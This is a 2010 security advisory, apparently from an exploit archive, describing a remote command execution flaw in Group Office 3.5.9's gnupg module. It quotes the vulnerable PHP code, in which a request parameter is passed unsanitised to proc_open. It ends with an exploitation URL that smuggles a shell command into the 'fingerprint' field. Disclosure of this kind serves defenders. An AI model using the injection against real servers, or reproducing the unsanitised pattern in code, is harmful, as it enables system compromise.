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Group Office Remote Command Execution Vulnerability

Posted on 16 July 2010

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Group Office Remote Command Execution Vulnerability
===================================================


# Title
Group Office Remote Command Execution Vulnerability
 
# Author
ADEO Security
 
# Published
16/07/2010
 
# Version
3.5.9 (Possible all versions)
 
# Vendor
http://www.group-office.com
 
# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download
 
# Description
&quot;Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level.&quot;
 
# Credit
Vulnerability founded by Canberk BOLAT
    - Mail: security[AT]adeo.com.tr
    - Web: http://security.adeo.com.tr , http://adeosecuritylabs.com
 
# Vulnerability
Remote attacker can execute commands on the system that host target
web application. Its high level vulnerability. Attacker needs gnupg
module that installed.
 
modules/gnupg/json.php:
$data = $gnupg-&gt;export($_REQUEST['fingerprint']);
 
 
In json.php export method called with HTTP Request that's name
fingerprint. In the export method, variable $fingerprint passed to
run_cmd method.
 
modules/gnupg/classes/gnupg.class.inc.php:
public function export($fingerprint)
{
    $this-&gt;run_cmd('--armor --export '.$fingerprint, $key);
...
private function run_cmd($cmd, &amp;$output=null, &amp;$errorcode=null,
$data=null, $passphrase=null, $background=false)
{
...
    $complete_cmd .= ' '.$cmd;
...
$p = proc_open($complete_cmd,$this-&gt;fd, $this-&gt;pipes);
...
 
'complete_cmd' variable executed by application and if attacker
manipulate request 'fingerprint' application executes attackers
malicious codes.
 
 
# Exploitation
http://server/groupoffice/modules/gnupg/json.php?task=send_key&amp;fingerprint=xyz;COMMAND


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-16]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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